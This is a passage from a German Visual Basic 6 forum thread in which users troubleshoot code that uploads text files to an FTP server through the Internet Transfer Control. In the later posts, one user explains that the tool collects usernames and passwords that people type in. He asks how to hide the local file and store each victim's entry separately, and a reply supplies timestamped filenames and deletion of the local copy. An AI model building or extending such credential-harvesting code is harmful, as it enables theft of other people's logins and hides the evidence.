.Execute , "PUT" & a & " " & b
End With
MsgBox "Upload erfolgreich!"
End Sub[/code]
Ja!lB!rD_ Coder
Anmeldedatum: 09.06.2007 Beiträge: 79
Verfasst am: 06.08.2007, 08:56
hmm so direkt kann ich jetzt kein Fehler feststellen!
Ich hab mal den Source geuppt.
Das wollte ich eigentlich verhindern, aber was solls!
Ich kann dir nur ans herz legen das ganze nicht mit c&p zu machen sondern zu verstehen!
Naja, genug mit dem gelabber, falls noch was unklar ist
---> Hier fragen <-----
EDIT: Jetzt fällt mir noch was ein!
Als ich mit dem FTP Upload beschäftigt war kamen auch Fehler und zwar...
1) Schau, das du mit keinem FTP Upload tool (zb. Flash FXP) mit deinem FTP verbunden bist, während dein Prog versucht eine Datei zu uppen!
2)Dem Prog. ein bisschen Zwit lassen. SO ist sichergestellt, das auch wirklich der Upload fertig ist!
3) Sonst den oben geposteden source verwenden
Bahamut_ « Moderator »
Anmeldedatum: 12.12.2006 Beiträge: 250
Verfasst am: 06.08.2007, 09:43
Ähm "der Upload kommt aufs Desktop", stimmt so nicht ganz, das Programm erstellt eine Textdatei im Verzeichnis wo sich auf die .exe befinden (ist halt bei dir der Desktop). Diese wird anschließend hochgeladen.
Weil du dich schon so komisch ausgedrückt hast, geh ich mal davon aus, dass du dich nicht wirklich mit der Materie auskennst, wenn ich falschliege, verbesser mich bitte ^^
Daher die Frage, hast du auch im folgenden Codeteil die Url, deinen Username und dein Passwort eingegeben?
1) Hier geht es um den reinen Upload und nicht um ein Phishingtool o.ä.
2) Ich dachte es kommt keine Datei aufm FTP an!
Du solltest dich vll das nächste mal deutlicher ausdrücken _________________
Private Sub Command3_Click()
With cdl
.Filter = "Alledateien (*.*) | *.*"
.ShowOpen
End With
End Sub[/vb:1:10a7f70487]
vllt so ...
mfg Helo _________________
RaG3!_ Poster
Anmeldedatum: 26.07.2007 Beiträge: 104
Verfasst am: 21.08.2007, 18:40
DAnke schonmal, ich möchte das aber gerne über die funktion commodialog machen, sprich dass man die Datei über "durchsuchen" auswählen kann.
Wie geht dass dann?
Amethyst_ Poster
Anmeldedatum: 24.02.2007 Beiträge: 172
Verfasst am: 21.08.2007, 20:20
Bei mir klappt's einfach nicht.
Er erstellt zwar die datei, uploadet sie aber nicht.
URL + ID + PW sind 100% richtig.
Selbst dein Source klappt net. _________________
Helo_ Tutorial Leser
Anmeldedatum: 06.07.2007 Beiträge: 35
Verfasst am: 21.08.2007, 20:45
auf der form fehlen noch : 2 Textboxen , 2 command buttons , 1 inet trans... , 1 common dialog
[vb:1:b3f110aac5]Option Explicit
Dim bError As Boolean
Private Sub Command2_Click()
On Error Resume Next
With CommonDialog1
.CancelError = True
.ShowOpen
Text1.Text = CommonDialog1.FileName
End With
End Sub
Private Sub Inet1_StateChanged(ByVal State As Integer)
If State = icError Then
bError = True
End If
End Sub
Private Sub Command1_Click()
Dim sLocalFile As String
Dim sRemoteFile As String
bError = False
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "ftpserver"
.UserName = "username"
.Password = "passwort"
sLocalFile = Text1.Text 'Pfad + Dateiname auf dem pc in text box 1
sRemoteFile = "/" & Text2.Text ' datei pfad + name auf dem server
Do While .StillExecuting And Not bError
DoEvents
Loop
If Not bError Then
Else
MsgBox "Fehler beim Upload!" & vbCrLf & _
"ResponseCode: " & .ResponseCode & vbCrLf & _
"ResponseInfo: " & .ResponseInfo
End If
End With
End Sub
[/vb:1:b3f110aac5]
Beschreibung wenns ne exe dann ist:
1. Schritt
Datei im Common dialog auswählen. (Command2)
2. Schritt
Dateiname + Pfad auf dem server eingeben in textbox2 + die endung
3. Schritt command 1 drücken für upload
habs nochmal editiert also der source geht ! 99% habs getestet
mfg Helo _________________
Ja!lB!rD_ Coder
Anmeldedatum: 09.06.2007 Beiträge: 79
Verfasst am: 21.08.2007, 22:08
Amethyst hat Folgendes geschrieben:
Bei mir klappt's einfach nicht.
Er erstellt zwar die datei, uploadet sie aber nicht.
URL + ID + PW sind 100% richtig.
Selbst dein Source klappt net.
Schau, das du nicht mit einem FTP Tool zur GLEICHEN Zeit mit deinem Hoster verbunden bist, das kann zu Prob. führen. _________________
Danke schonmal Helo, hab jez alles gemacht mitm Druchsuchen klappt alles, jedo will der Upload einfach nicht-_- hab 2 Textboxen , 2 command buttons , 1 inet trans... , 1 common dialog alles, jedoch will der einfach nicht -_-
[vb:1:d75cb4e149]Option Explicit
Dim bError As Boolean
Private Sub Command2_Click()
On Error Resume Next
With CommonDialog1
.CancelError = True
.ShowOpen
Text1.Text = CommonDialog1.FileName
End With
End Sub
Private Sub Inet1_StateChanged(ByVal State As Integer)
If State = icError Then
bError = True
End If
End Sub
Private Sub Command1_Click()
Dim sLocalFile As String
Dim sRemoteFile As String
bError = False
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "lmein url"
.UserName = "name"
.Password = "pass"
sLocalFile = Text1.Text 'Pfad + Dateiname auf dem pc In text box 1
sRemoteFile = "/" & Text2.Text ' datei pfad + Name auf dem server
Do While .StillExecuting And Not bError
DoEvents
Loop
If Not bError Then
Else
MsgBox "Fehler beim Upload!" & vbCrLf & _
"ResponseCode: " & .ResponseCode & vbCrLf & _
"ResponseInfo: " & .ResponseInfo
End If
End With
End Sub[/vb:1:d75cb4e149]
Helo_ Tutorial Leser
Anmeldedatum: 06.07.2007 Beiträge: 35
Verfasst am: 22.08.2007, 14:52
hm... also ich hab es extra probiert bei mir hat es gefunzt versuch mal einfach eine textdatei upzuloaden oder ein bild .
Ich habs getestet am anfang hat ich auch en paar probleme aber so wie ich den post da gepostet habe müsste es funktioniren.
Edit: achja in die 2. textbox darfst du auch dann nicht noch / machen!
also des ist ja der pfad auf dem server des / hab ich schon im source
du mussst dann nurnoch z.B. : ordner/123.txt in die 2. textbox schreiben!
mfg Helo _________________
also:
Ich hab des project grad runtergeladen.
und meinen ftp server eingetragen + id+pw ...
und einfach mal eine txt datei upgeloadet FUNZT 1A
also dann muss es am hoster oder so liegen wegen bei mir gehts !
mfg Helo _________________
killer110_ Poster
Anmeldedatum: 16.04.2007 Beiträge: 165
Verfasst am: 23.08.2007, 13:45
Wasn Hoster haste den? _________________
RaG3!_ Poster
Anmeldedatum: 26.07.2007 Beiträge: 104
Verfasst am: 23.08.2007, 13:59
funpic
Helo_ Tutorial Leser
Anmeldedatum: 06.07.2007 Beiträge: 35
Verfasst am: 23.08.2007, 17:26
also hab auch nochmal getestet mit funpic !
geht normal auch also bei mir funzt es !
Wichtig bei funpic :
[vb:1:019b09deb4]
.URL = "username.us.funpic.de" ' das .us. wird aus den ersten 2 buchstaben vom benutzernamen gebildet
.UserName = "username"
.Password = "FTPPasswort"[/vb:1:019b09deb4] _________________
KillingVB_ Tutorial Leser
Anmeldedatum: 24.08.2007 Beiträge: 22
Verfasst am: 25.08.2007, 12:18
Bei mir speichert sich die TXT datei auf den Desktop(weil ich da die project exe liegen habe) und auf dem FTP! server.
Kann mir vll jemand erklären wie ich sie nur auf den ftp server speichern knn, und wenn das nicht gehen sollte wie ich die txt datei (die aufen desktop kommt) irgendwo anders verstecken kann?
Danke schonmal.
Mein Code:
Zitat:
Private Sub Command1_Click()
Dim a As String
Dim b As String
Open "test.txt" For Append As #1
Print #1, Text1.Text
Print #1, Text2.Text
Close 1#
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "OHOST XD"
.UserName = "OHOST XD"
.Password = "OHOST XD"
a = "test.txt"
b = "test.txt"
.Execute , "PUT " & a & " " & b
End With
MsgBox "Upload mit erfolg!"
End Sub
KillingVB_ Tutorial Leser
Anmeldedatum: 24.08.2007 Beiträge: 22
Verfasst am: 25.08.2007, 13:36
Und noch eine Frage, wie speichert man den mehrere Dateien aufem ftp?
Also z.b jemand gibt usernamen und passwort ein schickt es ab es speichert sich ne txt datei aufen ftp , und der nächste macht genau das gleiche und es speichert sich noch ne txt datei aufem ftp
Und noch eine Frage, wie speichert man den mehrere Dateien aufem ftp?
Also z.b jemand gibt usernamen und passwort ein schickt es ab es speichert sich ne txt datei aufen ftp , und der nächste macht genau das gleiche und es speichert sich noch ne txt datei aufem ftp
Du kannst auf deinen FTP Server so viele Dateien hoch laden wie du willst bzw. wie Speicherplatz frei ist, das geht mit VB genauso wie mit einem FTP Programm, die Dateien müssen aber unterschiedlich heiße. Das kannst du erreichen indem du Beispielsweise immer das Datum und die Uhrzeit als Dateinamen nimmst, dann weist du auch wann die Datei hoch geladen wurde.
Das Datum kannst du z. Bsp. mit dieser Funktion herausfinden:
[vb:1:365280965c]Format(Now, "yyyymmddhhnnss")[/vb:1:365280965c]
Di Funktion gibt das Datum immer im Format: Jahr Monat Tag Stunde Minute zurück (zumindest so wie ich sie gepostet habe). Das hat den Vorteil das die Dateien Automatisch richtig nach dem Datum Sortiert werden.
KillingVB hat Folgendes geschrieben:
Bei mir speichert sich die TXT datei auf den Desktop(weil ich da die project exe liegen habe) und auf dem FTP! server.
Die Datei muss erst erstellt werden bevor sie auf den FTP kopiert werden kann. Du kannst aber den Speicherort der Datei verändern und die Datei nach dem Kopieren löschen.
Hier mal den Code wie die Datei mit dem Datum als Dateinamen auf dem FTP gespeichert wird und automatisch wieder vom PC gelöscht wird.
[vb:1:365280965c]Private Sub Command1_Click()
Dim a As String
Dim b As String
a = Format(Now, "yyyymmddhhnnss") & "test.text"
b = a
Open a For Append As #1
Print #1, Text1.Text
Print #1, Text2.Text
Close 1#
bei mir gehts auch nicht o.O
-angaben richtig (100 pro)
-kein ftp prog verbunden
naja vll weiß ja wer ne lösung dafür _________________
ZiG_ Überflieger
Anmeldedatum: 07.03.2007 Beiträge: 1248
Verfasst am: 05.12.2007, 14:16
Ich sag euch die Lösung.
Das Internet Transfer Control ist der letzte Dreck. Total verbuggt.
Auf vbarchiv gibts den selben code + einer Lösung womit man eine Rückgabe erhält ob erfolgreich oder nicht.
Keine Ahnung ob der im Thread schon gepostet wurde.
Jedenfalls funktioniert dieser ebenfalls nicht gut.
Umsteigen auf winsock oder ähnlichem ist die Lösung. _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
BLooDy_ Newbie
Anmeldedatum: 10.12.2007 Beiträge: 12
Verfasst am: 25.02.2008, 21:49
Ehm ich weis net was ich falsch mache
das wird als fehler angezeigt
.Execute , "PUT " & a & " " & b
kann mir da wer helfe
H4CK4 K1NG0_ Poster
Anmeldedatum: 05.02.2008 Beiträge: 146 Wohnort: Nähe von 127.0.0.1
Verfasst am: 25.02.2008, 21:53
Vielleicht hast du Komponent nicht hinzugefügt?
BLooDy_ Newbie
Anmeldedatum: 10.12.2007 Beiträge: 12
Verfasst am: 25.02.2008, 21:56
hab eig alles
Also ich habe
2 Textboxen
1 Command
1 Inet1 ding xD
bugzz101_ Newbie
Anmeldedatum: 01.03.2008 Beiträge: 3
Verfasst am: 02.03.2008, 21:35
Hey kann mir einer sagen wie ich die text datei auf einen anderen Pfad speichern kann. _________________
Torn_ Newbie
Anmeldedatum: 23.02.2008 Beiträge: 8
Verfasst am: 06.03.2008, 21:02
bugzz101 hat Folgendes geschrieben:
Hey kann mir einer sagen wie ich die text datei auf einen anderen Pfad speichern kann.